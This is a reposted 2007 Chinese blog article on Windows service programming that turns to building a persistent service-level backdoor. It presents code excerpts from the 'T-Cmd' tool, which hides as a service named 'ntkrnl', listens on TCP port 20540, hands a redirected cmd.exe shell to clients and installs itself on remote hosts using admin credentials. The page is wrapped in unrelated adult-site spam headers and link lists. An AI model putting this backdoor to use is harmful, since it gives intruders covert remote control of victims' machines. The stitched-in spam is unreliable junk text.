青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品

旅途

如果想飛得高,就該把地平線忘掉

淺析Win2K/XP服務與后門技術-2 [轉(zhuǎn)]

三、Windows服務與編程 

  Windows服務編程包括幾方面的內(nèi)容,下面我們將從服務控制程序,服務程序和服務配置程序的角度介紹服務編程相關的內(nèi)容。 

  1.服務控制程序 

  執(zhí)行服務控制程序的相關函數(shù)前,我們需要獲得一個服務對象的句柄,方式有兩種:由OpenSCManager來獲得一臺特定主機的服務控制管理器數(shù)據(jù)庫的句柄;使用OpenService或CreateService函數(shù)來獲得某個服務對象的句柄。 

啟動服務:要啟動一個服務,服務控制程序可以使用StartService來實現(xiàn)。如果服務控制管理器數(shù)據(jù)庫被鎖定,那需要等待一定的時間然后再次測試 StartService函數(shù)。當然也可以使用QueryServiceLockStatus函數(shù)來確認數(shù)據(jù)庫的當前狀態(tài)。在啟動成功完成時,那么 dwCurrentState參數(shù)將會返回SERVICE_RUNNING值。 

  服務控制請求:服務控制程序使用 ControlService函數(shù)來發(fā)送控制請求到正在運行的服務程序。它會向控制句柄函數(shù)發(fā)送一個特定的控制命令,可以是系統(tǒng)默認的,也可以是用戶自定 義的。而且每個服務都會確定自己將會接收的控制命令列表。使用QueryServiceStatus函數(shù)時,在返回的 dwControlsAccepted參數(shù)中表明服務程序?qū)邮盏目刂泼?。所有的服務都會接? SERVICE_CONTROL_INTERROGATE命令。 

  2.服務程序 

  一個服務程序內(nèi)可以包含一個服務或多個服務的執(zhí)行代碼,但是它們都擁有固定的三個部分:服務main函數(shù),服務ServiceMain函數(shù)和服務Control Handler函數(shù)。 

服務main函數(shù):服務程序通常是以控制臺的方式存在的,所以它們的入口點都是main函數(shù)。在服務控制管理器開始一個服務程序時,會等待 StartServiceCtrlDispatcher函數(shù)的執(zhí)行。如果服務類型是SERVICE_WIN32_OWN_PROCESS就會立即調(diào)用 StartServiceCtrlDispatcher函數(shù)的執(zhí)行;如果服務類型是SERVICE_WIN32_SHARE_PROCESS,通常在初始 化所有服務之后再調(diào)用它。StartServiceCtrlDispatcher函數(shù)的參數(shù)就是一個SERVICE_TABLE_ENTRY結(jié)構,它包含 了進程內(nèi)所有服務的名稱和服務入口點。 

  服務ServiceMain函數(shù):函數(shù)ServiceMain是服務的入口點。在服務控制程 序請求一個新的服務啟動時,服務控制管理器啟動一個服務,并發(fā)送一個開始請求到控制調(diào)度程序,而后控制調(diào)度程序創(chuàng)建一個新線程來執(zhí)行 ServiceMain函數(shù)。ServiceMain須執(zhí)行以下的任務:調(diào)用RegisterServiceCtrlHandler函數(shù)注冊一個 HandlerEx函數(shù)來向服務發(fā)送控制請求信息,返回值是服務狀態(tài)句柄用來向服務控制管理器傳送服務狀態(tài)。初始化后調(diào)用 SetServiceStatus函數(shù)設置服務狀態(tài)為SERVICE_RUNNING。最后,就是執(zhí)行服務所要完成的任務。 

  服務 Control Handler函數(shù):每個服務都有一個控制句柄HandlerEx函數(shù)。它會在服務進程從服務控制程序接收到一個控制請求時被控制調(diào)度程 序所調(diào)用。無論何時在HandlerEx函數(shù)被調(diào)用時,都要調(diào)用SetServiceStatus函數(shù)向服務控制管理器報告它當前的狀態(tài)。在用戶關閉系統(tǒng) 時,所有的控制句柄都會調(diào)用帶有SERVICE_ACCEPT_SHUTDOW控制代碼的SetServiceStatus函數(shù)來接收 NSERVICE_CONTROL_SHUTDOWN控制代碼。 

  3.服務配置程序 

  服務配置程序可以更改或查詢服務的當前配置信息。在調(diào)用服務配置函數(shù)之前,必須獲得一個服務對象的句柄,當然我們可以通過調(diào)用OpenSCManager,OpenService或CreateService函數(shù)來獲得。 

  創(chuàng)建,刪除服務:服務配置程序使用CreateService函數(shù)在服務控制管理器的數(shù)據(jù)庫中安裝一個新服務,它會提供服務的名稱和相關的配置信息并存儲在數(shù)據(jù)庫中。服務配置程序則使用DeleteService函數(shù)從數(shù)據(jù)庫中刪除一個已經(jīng)安裝的服務。 

  四、服務級后門技術 

在你進入某個系統(tǒng)后,往往會為自己留下一個或多個后門,以便今后的訪問。在上傳一個后門程序到遠程系統(tǒng)上后系統(tǒng)重啟之時,總是希望后門仍然存在。那么, 將后門程序創(chuàng)建成服務程序應該是個不錯的想法,這就是利用了服務程序自動運行的機制,當然在Windows2000的任務管理器里也很難結(jié)束一個服務程序 的進程。 

  創(chuàng)建一個后門,它常常會在一個端口監(jiān)聽,以方便我們使用TCP/UDP協(xié)議與遠程主機建立連接,所以我們首先需要在后門程序里創(chuàng)建一個監(jiān)聽的端口,為了數(shù)據(jù)傳輸?shù)姆€(wěn)定與安全,我們可以使用TCP協(xié)議。 

那么,我們?nèi)绾尾拍苣M一個Telnet服務似的后門呢?我想大家都清楚,如果在遠程主機上有一個Cmd是我們可以控制的,也就是我們可以在這個Cmd 里執(zhí)行命令,那么就可以實現(xiàn)對遠程主機的控制了,至少可以執(zhí)行各種常規(guī)的系統(tǒng)命令。啟動一個Cmd程序的方法很多,有WinExec, ShellExecute,CreateProcess等,但只能使用CreateProcess,因為WinExec和ShellExecute它們實 在太簡單了。在使用CreateProcess時,要用到它的重定向標準輸入/輸出的選項功能,把在本地主機的輸入重定向輸入到遠程主機的Cmd進程,并 且把遠程主機Cmd進程的標準輸出重定向到本地主機的標準輸出。這就需要在后門程序里使用CreatePipe創(chuàng)建兩個管道來實現(xiàn)進程間的數(shù)據(jù)通信 (Inter-Process Communication,IPC)。當然,還必須將遠程主機上Cmd的標準輸入和輸出在本地主機之間進行傳送,我們選 擇TCP協(xié)議的send和recv函數(shù)。在客戶結(jié)束訪問后,還要調(diào)用TerminateProcess來結(jié)束創(chuàng)建的Cmd進程。 

  五、關鍵函數(shù)分析 

  本文相關程序T-Cmd v1.0是一個服務級的后門程序,適用平臺為Windows2000/XP。它可自動為遠程/本地主機創(chuàng)建服務級后門,無須使用任何額外的命令,支持本地/遠程模式。重啟后,程序仍然自動運行,監(jiān)聽端口20540/tcp。 

  1.自定義數(shù)據(jù)結(jié)構與函數(shù) 

typedef struct 

HANDLE hPipe; 
//為實現(xiàn)進程間通信而使用的管道; 
SOCKET sClient; 
//與客戶端進行通信時的客戶端套接字; 
}SESSIONDATA,*PSESSIONDATA; 
//重定向Cmd標準輸入/輸出時使用的數(shù)據(jù)結(jié)構; 

typedef struct PROCESSDATA 

HANDLE hProcess; 
//創(chuàng)建Cmd進程時獲得的進程句柄; 
DWORD dwProcessId; 
//創(chuàng)建Cmd進程時獲得的進程標識符; 
struct PROCESSDATA *next; 
//指向下一個數(shù)據(jù)結(jié)構的指針; 
}PROCESSDATA,*PPROCESSDATA; 
//在客戶結(jié)束訪問或刪除服務時為關閉所以的Cmd進程而創(chuàng)建的數(shù)據(jù)結(jié)構; 

void WINAPI CmdStart(DWORD,LPTSTR *); 
//服務程序中的“ServiceMain”:注冊服務控制句柄,創(chuàng)建服務主線程; 
void WINAPI CmdControl(DWORD); 
//服務程序中的“HandlerEx”:處理接收到的控制命令,刪除已創(chuàng)建的Cmd進程; 
DWORD WINAPI CmdService(LPVOID); 
//服務主線程,創(chuàng)建服務監(jiān)聽端口,在接受客戶連接時,創(chuàng)建重定向Cmd標準輸入/輸出線程; 
DWORD WINAPI CmdShell(LPVOID); 
//創(chuàng)建管道與Cmd進程,及Cmd的輸入/輸出線程; 
DWORD WINAPI ReadShell(LPVOID); 
//重定向Cmd的輸出,讀取信息后發(fā)送到客戶端; 
DWORD WINAPI WriteShell(LPVOID); 
//重定向Cmd的輸入,接收客戶端的信息輸入到Cmd進程; 
BOOL ConnectRemote(BOOL,char *,char *,char *); 
//如果選擇遠程模式,則須與遠程主機建立連接,注須提供管理員權限的用戶名與密碼,密碼為空時用"NULL"代替; 
void InstallCmdService(char *); 
//復制傳送文件,打開服務控制管理器,創(chuàng)建或打開服務程序; 
void RemoveCmdService(char *); 
//刪除文件,停止服務后,卸載服務程序;  


  2.服務程序相關函數(shù) 

SERVICE_TABLE_ENTRY DispatchTable[] = 

{"ntkrnl",CmdStart}, 
//服務程序的名稱和入口點; 
{NULL ,NULL } 
//SERVICE_TABLE_ENTRY結(jié)構必須以“NULL”結(jié)束; 
}; 
StartServiceCtrlDispatcher(DispatchTable); 
//連接服務控制管理器,開始控制調(diào)度程序線程; 
ServiceStatusHandle=RegisterServiceCtrlHandler("ntkrnl",CmdControl); 
//注冊CmdControl函數(shù)為“HandlerEx”函數(shù),并初始化; 
ServiceStatus.dwCurrentState = SERVICE_RUNNING; 
SetServiceStatus(ServiceStatusHandle,&ServiceStatus); 
//設置服務的當前狀態(tài)為SERVICE_RUNNING; 
hThread=CreateThread(NULL,0,CmdService,NULL,0,NULL); 
//創(chuàng)建服務主線程,實現(xiàn)后門功能; 
WaitForSingleObject(hMutex,INFINITE); 
//等待互斥量,控制全局變量的同步使用; 
TerminateProcess(lpProcessDataHead->hProcess,1); 
//終止創(chuàng)建的Cmd進程; 
hSearch=FindFirstFile(lpImagePath,&FileData); 
//查找系統(tǒng)目錄下服務程序的文件是否已經(jīng)存在; 
GetModuleFileName(NULL,lpCurrentPath,MAX_PATH); 
//獲得當前進程的程序文件名; 
CopyFile(lpCurrentPath,lpImagePath,FALSE); 
//復制文件到系統(tǒng)目錄下; 
schSCManager=OpenSCManager(lpHostName,NULL,SC_MANAGER_ALL_ACCESS); 
//打開服務控制管理器數(shù)據(jù)庫; 
CreateService(schSCManager,"ntkrnl","ntkrnl",
 SERVICE_ALL_ACCESS,SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START,SERVICE_ERROR_IGNORE,
 "ntkrnl.exe",NULL,NULL,NULL,NULL,NULL); 
//創(chuàng)建服務,參數(shù)包括名稱,服務類型,開始類型,錯誤類型及文件路徑等; 
schService=OpenService(schSCManager,"ntkrnl",SERVICE_START); 
//如果服務已經(jīng)創(chuàng)建,則打開服務; 
StartService(schService,0,NULL); 
//啟動服務進程; 
ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus); 
//控制服務狀態(tài); 
DeleteService(schService); 
//卸載服務程序; 
DeleteFile(lpImagePath); 
//刪除文件;  


  3.后門程序相關函數(shù) 

hMutex=CreateMutex(NULL,FALSE,NULL); 
//創(chuàng)建互斥量; 
hThread=CreateThread(NULL,0,CmdShell,(LPVOID)&sClient,0,NULL); 
//創(chuàng)建處理客戶端訪問的重定向輸入輸出線程; 
CreatePipe(&hReadPipe,&hReadShell,&saPipe,0); 
CreatePipe(&hWriteShell,&hWritePipe,&saPipe,0); 
//創(chuàng)建用于進程間通信的輸入/輸出管道; 
CreateProcess(lpImagePath,NULL,NULL,NULL,TRUE,0,NULL,NULL,&lpStartupInfo,&lpProcessInfo); 
//創(chuàng)建經(jīng)重定向輸入輸出的Cmd進程; 
hThread[1]=CreateThread(NULL,0,ReadShell,(LPVOID*)&sdRead,0,&dwSendThreadId); 
hThread[2]=CreateThread(NULL,0,WriteShell,(LPVOID *)&sdWrite,0,&dwReavThreadId); 
//創(chuàng)建處理Cmd輸入輸出的線程; 
dwResult=WaitForMultipleObjects(3,hThread,FALSE,INFINITE); 
//等待線程或進程的結(jié)束; 
ReleaseMutex(hMutex); 
//釋放互斥量; 
PeekNamedPipe(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL,NULL); 
//從管道中復制數(shù)據(jù)到緩沖區(qū)中,但不從管道中移出; 
ReadFile(sdRead.hPipe,szBuffer,BUFFER_SIZE,&dwBufferRead,NULL); 
//從管道中復制數(shù)據(jù)到緩沖區(qū)中; 
WriteFile(sdWrite.hPipe,szBuffer2Write,dwBuffer2Write,&dwBufferWritten,NULL); 
//向管道中寫入從客戶端接收到的數(shù)據(jù); 
dwErrorCode=WNetAddConnection2(&NetResource,lpPassword,lpUserName,CONNECT_INTERACTIVE); 
//與遠程主機建立連接; 
WNetCancelConnection2(lpIPC,CONNECT_UPDATE_PROFILE,TRUE); 
//與遠程主機結(jié)束連接;  


posted on 2007-07-21 17:06 旅途 閱讀(317) 評論(0)  編輯 收藏 引用 所屬分類: 深入windows

青青草原综合久久大伊人导航_色综合久久天天综合_日日噜噜夜夜狠狠久久丁香五月_热久久这里只有精品
  • <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>
            亚洲中无吗在线| 性欧美暴力猛交69hd| 亚洲成色最大综合在线| 夜夜嗨av一区二区三区网站四季av| 国产精品区一区| 欧美日韩精品免费在线观看视频| 久久久噜噜噜久久人人看| 一区二区三区不卡视频在线观看 | 亚洲国产成人久久综合| 国产一区二区精品久久99| 欧美精品99| 欧美~级网站不卡| 久久久久久久欧美精品| 久久男人资源视频| 日韩西西人体444www| 日韩视频一区二区| 亚洲精品人人| 亚洲少妇自拍| 亚洲欧美日韩综合| 欧美高清视频一区| 亚洲电影av在线| 99国产精品久久久久久久| 夜夜嗨av一区二区三区免费区| 欧美不卡三区| 亚洲三级电影在线观看| 免费看成人av| 亚洲免费成人av| 亚洲一级二级在线| 欧美主播一区二区三区美女 久久精品人 | 午夜精品免费视频| 久久精品官网| 亚洲视频在线观看网站| 欧美亚洲午夜视频在线观看| 久久深夜福利免费观看| 亚洲欧美国产精品va在线观看 | 日韩天堂在线观看| 亚洲国产电影| 欧美国产一区二区在线观看 | 老妇喷水一区二区三区| 欧美v日韩v国产v| 99在线观看免费视频精品观看| 一区二区电影免费观看| 国产视频一区二区在线观看| 欧美成人午夜激情| 欧美午夜电影网| 久久综合国产精品| 欧美日韩精品一区二区在线播放| 亚洲欧美国产精品va在线观看| 久久国产一区二区三区| av成人老司机| 欧美在线观看一二区| 日韩亚洲精品视频| 一本一本大道香蕉久在线精品| 亚洲一区二区高清视频| 亚洲国产婷婷香蕉久久久久久99| 久久国产精品亚洲77777| 国产亚洲观看| 久久夜精品va视频免费观看| 欧美一区亚洲| 国内精品美女av在线播放| 久久精品国产欧美亚洲人人爽| 亚洲亚洲精品三区日韩精品在线视频| 欧美久久九九| 亚洲天堂男人| 亚洲少妇最新在线视频| 国产欧美日韩不卡免费| 欧美在线视频二区| 久久精品毛片| 在线观看日韩精品| 欧美激情精品久久久久久黑人| 久久一区二区视频| 亚洲精品美女免费| 亚洲免费播放| 国产精品亚洲美女av网站| 欧美一区二区三区精品电影| 欧美一区2区三区4区公司二百| 国产在线乱码一区二区三区| 麻豆国产精品va在线观看不卡| 老司机一区二区| 在线午夜精品| 久久国产一区| 日韩视频在线一区二区三区| 亚洲精品免费在线| 国产精品一区二区在线观看| 久久久精彩视频| 欧美高清在线精品一区| 亚洲一区在线观看视频 | 在线观看日韩av| 久久国产精品久久w女人spa| 久久gogo国模裸体人体| 性做久久久久久| 久久亚洲综合色| 一区电影在线观看| 国产日韩欧美日韩大片| 亚洲免费一级电影| 久久精品人人做人人爽电影蜜月| 亚洲久久在线| 欧美亚洲不卡| 欧美暴力喷水在线| 国产精品人成在线观看免费 | 欧美日韩在线亚洲一区蜜芽| 午夜精品亚洲| 欧美成人国产| 久久精品国产2020观看福利| 欧美国产免费| 久久久亚洲国产天美传媒修理工| 欧美经典一区二区三区| 久久久午夜电影| 欧美亚洲成人精品| 亚洲国产一区二区三区a毛片| 国产精品一香蕉国产线看观看| 亚洲高清视频一区| 狠狠色狠狠色综合人人| 亚洲深夜福利| 亚洲精品一二三区| 久久精品人人| 欧美亚洲尤物久久| 中文欧美字幕免费| 中日韩视频在线观看| 日韩视频一区二区三区在线播放免费观看 | 性视频1819p久久| 中文精品一区二区三区| 91久久精品美女| 久久国产综合精品| 欧美在线日韩在线| 国产精品久久久久久久免费软件| 欧美国产日韩一区二区三区| 国产一区再线| 欧美一级午夜免费电影| 羞羞答答国产精品www一本| 欧美成人日韩| 欧美国产视频在线| 亚洲二区视频在线| 久久精品国产精品亚洲综合| 欧美一级欧美一级在线播放| 欧美深夜福利| 亚洲小说欧美另类社区| 一本一本久久a久久精品综合妖精| 欧美成人午夜视频| 久久成人一区二区| 国产亚洲电影| 欧美精品色网| 久久免费国产| 亚洲香蕉视频| 亚洲人成小说网站色在线| 久久久99久久精品女同性| 日韩午夜高潮| 欧美大片专区| 亚洲激情社区| 欧美日韩国产另类不卡| 一区二区不卡在线视频 午夜欧美不卡在 | 亚洲经典自拍| 一区二区三区黄色| 欧美精品一区二区三| 亚洲日本视频| 亚洲国产高潮在线观看| 欧美黄色成人网| 久久久噜噜噜久久人人看| 亚洲免费视频网站| 99天天综合性| 亚洲精品裸体| 亚洲第一在线综合在线| 另类亚洲自拍| 最新亚洲一区| 欧美亚洲午夜视频在线观看| 欧美高清视频www夜色资源网| 日韩系列欧美系列| 国产欧美激情| 免费视频一区| 亚洲一区图片| 你懂的国产精品永久在线| 一区二区精品在线| 国产日韩综合一区二区性色av| 久久亚洲综合| 亚洲淫性视频| 亚洲国产午夜| 欧美在线免费看| 99国内精品| 欧美精品在线免费播放| 亚洲图片欧美日产| 亚洲欧美日韩精品一区二区| 欧美激情视频在线免费观看 欧美视频免费一 | 99精品热视频只有精品10| 91久久精品一区二区别| 在线观看一区欧美| 在线欧美视频| 国产一区二区三区在线观看视频| 国产精品私拍pans大尺度在线| 国产精品国产a级| 欧美午夜精品一区| 国产精品日韩一区二区三区| 国产麻豆日韩欧美久久| 国产亚洲精品v| 狠狠久久五月精品中文字幕| 黄网站免费久久| 136国产福利精品导航| 在线免费高清一区二区三区| 亚洲第一网站免费视频| 亚洲伦理在线观看| 亚洲综合大片69999|